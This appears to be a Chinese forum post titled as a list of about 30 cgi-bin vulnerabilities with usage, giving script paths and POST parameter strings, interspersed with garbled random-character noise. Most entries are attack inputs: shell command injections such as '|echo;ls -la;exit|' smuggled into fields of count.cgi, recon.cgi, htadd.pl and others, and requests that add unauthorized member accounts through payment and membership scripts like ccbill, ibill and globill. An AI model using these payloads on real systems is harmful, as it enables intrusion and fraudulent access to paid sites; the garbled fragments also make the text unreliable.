Cgi-bin 30个漏洞＋使用方法

admin

==============================
6 f8 @) `# [, A
/smspass.pl
username=username&password=password
$ E8 w  Q5 c3 q9 q, S0 h- I
/index.cgi
' O) X$ N, N/ _  l. d' fwei=ren&gen=command
! ]4 a7 h' i' ^5 l2 Q
/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
* W! U" P3 C$ O+ g7 u: `* D8 L2 [username=username&password=password&ref1=|echo;ls|

+ c5 ?' M. i. Q/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
: }% y7 P# b( v# V1 v+ j/ X4 F% i
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
post_values=username:password
2 p. b8 ?, _1 u
4 z7 N- b  H% \( ^/count.cgi
! v8 W6 F: w! \' z& \. Wpinfile=|echo;ls -la;exit|
8 x; k, R+ p' r1 ^/ W3 U+ n- _
/ g6 F4 A1 K0 ~- g4 R/recon.cgi
0 y6 H; C7 c" d5 a/recon.cgi?search
2 L, D& O9 P5 |2 C, b% Gsearchoption=1&searchfor=|echo;ls -al;exit|
3 y+ Z& s* M/ x2 t  q
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
+ ^; a) U$ f$ Z
/af.cgi
6 ~5 B0 C4 B6 o_browser_out=|echo;ls -la;exit;|
, z3 [& M4 S& z/ ]" @1 H) s- m
6 b# F4 w0 i; `/modify.cgi
username=username&password=password&expire=30
$ y6 u3 |: ^8 P( {4 L" m9 S; r1 B0 A# c
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

5 [: V" q  }0 ^- A' ~. d. F/gx9passwd.cgi
cmd=ADD&user=username&pass=password
. ~* O) L- J3 p3 c
/probecontrol.cgi
0 h) y9 t: L# |2 N( ^command=enable&username=username&password=password

/recon.cgi
) W, A* a' S/ ]/ ^0 zsearchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
configfile=|echo; ls -alt; exit

1 W; ?- K, H/ D9 b  x7 P/gx9passwd.cgi
cmd=ADD&user=username&pass=password
; [) T" Y" b/ R4 w( a
+ z& A: G! ~& U) _% @1 m1 c2 B/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
& [. p0 [# g8 s$ J
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
, I# L( v, A1 {( t/ d- Y
; q! G4 D' c5 H, q/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
4 t, @( o/ m! ]- B$ z
# t2 d: n1 Q8 i/usercontrol.cgi
8 e5 D' [* x- L' [, Wcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
# e3 `/ R9 {- A: T& N' d# `" W) L% Taction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
/ l) b! e) _6 Y$ b8 [7 b0 ~
3 m2 D% d" B" P5 \, L, C/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
; |. ?# T# W8 D9 m! Susername=username&password=password&password2=password&ref1=|echo;ls -al;exit

* c7 X5 {  Z# a' `, Z/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

8 E3 o+ y- n" n+ g3 m( G: G/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
* R0 [) {3 J0 j3 o4 |9 busername=username&password=password&expire=30

==============================